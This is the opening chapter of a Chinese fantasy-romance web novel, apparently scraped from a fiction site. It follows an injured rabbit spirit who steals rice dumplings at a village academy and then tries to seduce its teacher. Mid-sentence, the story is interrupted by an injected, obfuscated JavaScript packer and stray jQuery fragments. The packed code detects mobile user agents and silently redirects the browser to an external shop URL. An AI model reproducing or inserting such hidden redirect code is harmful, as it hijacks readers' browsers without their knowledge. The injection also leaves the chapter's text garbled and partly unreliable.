文趣网 > 其他小说 > 被兔始乱终弃后 > 1. 第 1 章
    暮春时节阳光正好,杨柳纷飞。

    仰山书院外的莎草草丛翠绿欲滴,叶尖上颤颤巍巍悬着水珠。

    啪嗒一声,那滴水被震落,草间跌跌撞撞冲出来一团白球,细看竟是只巴掌大的小兔,雪白绒毛上沾染着星星点点的血污。

    白若繁痛得龇牙咧嘴,一双白里透粉的耳朵垂下来,蔫哒哒的。

    她长这么大,从未受过这么重的伤,连人形也幻化不了。

    “咕……”小兔闷闷地喊了一声,只有听得懂的才知道是在叫姐姐。

    两只相依为命的兔妖在被驱逐追赶时走散了,白若繁不清楚姐姐情况如何,眼下也找不到她。

    被迫维持兔子形态的白若繁正要郁闷跺脚,忽然听得仰山书院飘出来一阵琅琅书声……

    以及一缕缕粽叶的清香。

    好饿好饿。

    忙着逃跑躲避,好久没吃东西了。

    如果她只是兔子就好了,溪边的草可以勉强对付一口。但兔妖习惯了人类的食物,如今是又饿又馋。

    白若繁对学童们朗读的内容并不感兴趣,却依旧竖起耳朵,循声确定了方向。

    她弓起背,尽力忽略左后腿与尾椎骨上撕裂的伤口,嗖嗖拔腿狂奔,一团小型的旋风就这么席卷至书院门口。

    仰山书院并不气派,占地不大。除了东侧正在嗡嗡作响的学堂,并两三间低矮的茅屋,就是一小块圈起来的院子,地上铺着些柴火与苋菜干之类。

    白若繁躲在院子最外边的石墩后,眼巴巴地看着院中一个身形细高的男人从茅屋走出,一笼粽子被摆在院落中小小的石桌上。

    她又想开始咕咕叫了,只不过是从毛茸茸的肚皮发声。

    一只兔子的食量能有多大呢?她瞅准时机偷吃两口,只吃两口。

    最多附带两口干菜。

    白若繁耐心等待那疑似厨子的人离开,等着他摆弄完,回到那一排茅草屋里。

    就在屋门关闭的同一时刻,小兔以迅雷不及掩耳之势蹿到石桌上,毫不犹豫地踢飞一粒粽子,钻到桌脚两只前爪扒拉着它,躲进屋檐下的缝隙。

    有点烫!

    白若繁苦恼地动动耳朵,不得不放开了手里好不容易得来的口粮。

    怎么会这样?只是靠近就感觉自己要被烫化了,明明她选择的是最先被放下的那一排粽子啊,不应该放凉了嘛?!

    白若繁绕着食物跑了几圈,饥饿疼痛与酷热同时笼罩着不大的小兔脑袋,几重煎熬使她完全忘了留意周遭的喧闹。

    她呼呼地用鼻子吸气呼气,再次伸出魔爪——

    “啊呀!这里有只好圆的白兔!”

    在白若繁摸到粽子叶之前,短短的小孩的手掌已经捏起她的耳朵尖,把她拎了起来。

    学童们刚刚被先生允准来到院中活动休息,这会儿有人发现了小兔,招呼同伴来看,其实只是好奇,并且手欠。

    可惜兔子的耳朵相当脆弱敏感,哪怕是白若繁这种已经修炼成精怪的兔妖,被打回原形时依旧如此。

    尖锐的不适感从耳尖传向全身,再加上伤痕累累的沉疴作祟,她本能地狂踢乱蹬,眼看着就要把被吓得不敢动的小孩踢出几道触目惊心的血线——

    “嘶。”

    小兔白若繁停止了挣扎,因为她发现屁股稳稳当当地坐在了人的手掌心,耳朵的疼也止住了。

    不过她刚刚那一腿挠得结结实实,并没有落空,只是从学童身上,转移到了如今这个托着她的人手腕上。

    “去吃粽子吧。”顾岐对自己的学生们摆摆手,示意无事,“这只小兔被吓到了,先不要靠近。”

    白若繁忍不住往后缩了缩,远离他手腕上被自己挠出来的两道血痕。

    一双浅灰琉璃色的眼瞳与她对视,看不出被抓伤的痛楚或是恼怒,只是一派平淡温和,似乎要把兔看穿。

    “伤得不轻。”顾岐陈述着事实,那双眼睛离白若繁远了些。

    现在她认全了他的脸,俊眉深目,鼻梁侧边一枚小痣,清润儒雅,总之看着像好人。

    顾岐右手稳稳托着兔子,左手揉了两下她的耳尖,轻飘飘的,不过是草叶拂过的力度,却很舒服。

    白若繁忍不住想摊平打滚,因为靠近这个人之后身上的热气就消散了,抚摸的手法也很合兔心意。

    她用脑袋拱了拱顾岐的手腕,避开冒血珠的伤口,心虚地移开目光。

    “你要吃这个?”顾岐对自己流的血并不在意,他仿佛笃定她能听懂人话似的,指了指地上滚得脏兮兮的粽子,问。

    小兔顿了一下,兴奋地咕咕叫,表示认可。

    这么通兔性的聪明人可不多!

    她决定了,伤好之后有空要来报恩。

    顺便蹭几下摸摸。

    顾岐叹了口气。

    “你不应该出现在这里。”

    这话说得,怎么和那些追捕她和姐姐的神棍似的?

    白若繁心中疑惑。

    那双修长的手把她平放在地上,拣了一粒干净的粽子,剥开青绿色的粽叶。

    米香飞快地漫溢出来,白若繁也管不了那么多了,埋头苦吃。

    三下五除二,旁边的人类小孩都没有她吃得快,小兔一下子就变得更加圆鼓鼓。

    顾岐点了点她的额头,引导她走上空空如也的粽子叶,停留在正中。

    吃饱正在回味的小兔很听话,乖乖地站好位置。

    于是顾岐很顺利地包了个兔粽子——把粽叶两头对折,正好包裹整只兔——捧在手心,站起身来。

    白若繁伸出两只前爪搭在粽叶边上,准备谢谢此人,突然发现不太对劲。

    她背部的伤整片接触叶面,开始火烧一样燎起来,刚才靠近食物突发的酷热又重新包围了她。

    小兔发出尖锐的惨叫,比刚才被拎着耳朵还大声,一时间满院子的人都停止了咀嚼,探头往这边看。

    快跑、快跑!

    白若繁瞬间回想起自己身上的伤是怎么来的,那时捉妖师手里夹着黄符,贴到皮肤上,就是这样连片的灼烧感。

    她又惊又怒,拼命挣脱弹出了粽叶,顺便给顾岐的左手腕也来了一爪子。

    小兔一溜烟跑掉了。

    吃饱的兔妖比来时更加矫健,就算伤口还没有得到妥善的处理,憋着一股气逃跑还是容易的。

    ***

    白若繁越想越生气。

    不知为何,吃了几口饭她又能变成人了,此刻正用冰凉的溪水勉强清洗自己的伤口。

    少女靠坐在山石上,纤细舒展的四肢硌着冰冷坚硬的岩面,四周空无一人。

    春天傍晚山中寒气重,凉得骨头都打颤,她在发抖,半是疼的半是气的。

    居然被一介凡人暗算了!

    那粽叶大概是捉妖人发放给凡人的法宝,类似蛇妖害怕的雄黄酒,否则无法解释她为什么一靠近就发烫难受。

    白若繁缓了缓,低头查看自己深深的伤口,以及破破烂烂的衣裳,陷入沉思。

    就算凡人作弊,可是连人都打不过,这样下去她还能活着找到姐姐吗?

    她曾听蛇妖说过吸人精气的法子,可以快速恢复重伤,是每个妖精都应该掌握的秘方。

    白若繁决定拿方才那个阴险的书生做口粮。

    ***

    “笃笃。”仰山书院西侧小屋紧闭的柴门被扣响。

    白若繁侧着耳朵听,敲门时里边窸窸窣窣,肯定有人在。

    但她觉得等待颇为漫长,久到脸上摆出的楚楚可怜的表情都僵了,不得不伸手揉一揉酸酸的脸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836668|211459||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    颊肉。

    怎么这么磨蹭呢,难道还想要攻击妖?

    她回忆起不久前照面的情形,确信这里并不存在捉妖师,没有烧焦的黄符或者发腥的血液气味,又把心放回了肚子里。

    他认不出自己是妖的,只会被美色蒙蔽。见多了这样的凡人,白若繁对此胸有成竹。

    她倚在门边,百无聊赖地玩了玩自己乱乱的发髻。

    把头发抓成这样就能显得凄惨些,等下那个书生一开门,她装作泫然欲泣,说两句扑到他怀里,大概就可以了……吧?

    那具体说什么好呢?我是上山来挖野菜的,不小心受了伤请你收留——

    小兔妖脑子里乱糟糟胡思乱想之际,门毫无征兆地开了。

    白若繁连忙抬头看,紧急确认这是自己准备下口的书生。

    没有找错人。他换了身衣裳,颜色浅淡的双眼蒙着一层水汽,衣襟些许凌乱。

    顾岐微微低头看她。

    陌生少女身着鹅黄裙裾,衣摆被抓烂得如同流苏,乌鬓如云,碎发间夹杂着细碎的草叶。

    照理来说这是一副落魄惨相,奈何黄昏夕阳尚未收尽余热,她逆光站着,整个人被一圈毛茸茸的光镶了个边,偏圆的杏眼熠熠生辉,好像所有狼狈之处都是因为调皮玩闹惹的,与可怜实在不沾边。

    “这位姑——”顾岐的话卡在喉咙里,一时不察被抵在了门框上,背部与木板结结实实撞在一起,发出沉闷的一声。

    白若繁扑进他怀里。

    书生出场太快,她胡编乱造的话术还未成型,干脆直愣愣向前一倒,废话不说了,两只手按在对方胸膛上摸索。

    “望津兄,是谁这时候拜访?”旁边屋子里传来模糊的询问。

    仰山书院的另一名教书先生章顺也暂住在此,听到外面响动,起身赶来。

    顾岐倒吸一口凉气,揽着突然冒出来的白若繁转了个身,将她挡在身后。

    倒不是他如此害怕被发现什么,只是这姑娘下手有些重了……

    白若繁站在他身后,一个劲儿踮脚,可惜还是被挡着严严实实,双手绕过他腰身,被刻意掩在衣袖之下。

    她指尖还按在人家胸前,碾着不太平整的地方,紧张地加大了手劲。

    对了对了,就是这里没错啦!

    白若繁自我称许,再接再厉。

    “并没有人,我这间屋子的门有些漏风,取竹钉敲牢固定就好。”

    顾岐镇定道,手撑着门板,勉强忍住额间冷汗涔涔。

    章顺也是年轻人,腿脚勤快,此时已走到门口张望,见确实没有第三个人,点点头:“辛苦了,明日要不跟东家说一声让人来修啊?”

    “到时再说吧。”顾岐苦笑。

    这在章顺看来完全是在陋居苦中作乐,于是站在门口与他寒暄两句才转身回屋,自行温习功课去。

    只有顾岐自己知道,如此牵强全是有人在作乱的缘故。

    好不容易挨到章顺离开,他松了口气,回身去瞧白若繁。

    少女仰着脸看他,紧抿樱唇,可怜兮兮道:“我、我受伤了,可否在此借住一晚?”

    顾岐淡淡地望她一眼,先把女子的柔荑从自己身上拂了下去。

    “我屋里没有准备伤药,还是请下山去求医吧。”

    白若繁收回手,退了半步,心说此人大概不乐意被摸,还挺特立独行的。

    那怎么办呢?

    要不她去窗外等着,等人睡着了来偷袭吧。

    白若繁觉得可行,“哦”了一声就往外走,半点没留恋。

    顾岐噎住,站在原地,身周似乎还残留着她带来的草叶清香。

    等反应过来,白若繁已经半步跨出门槛,眼看着就要往章顺的屋门走去。

    “等等。”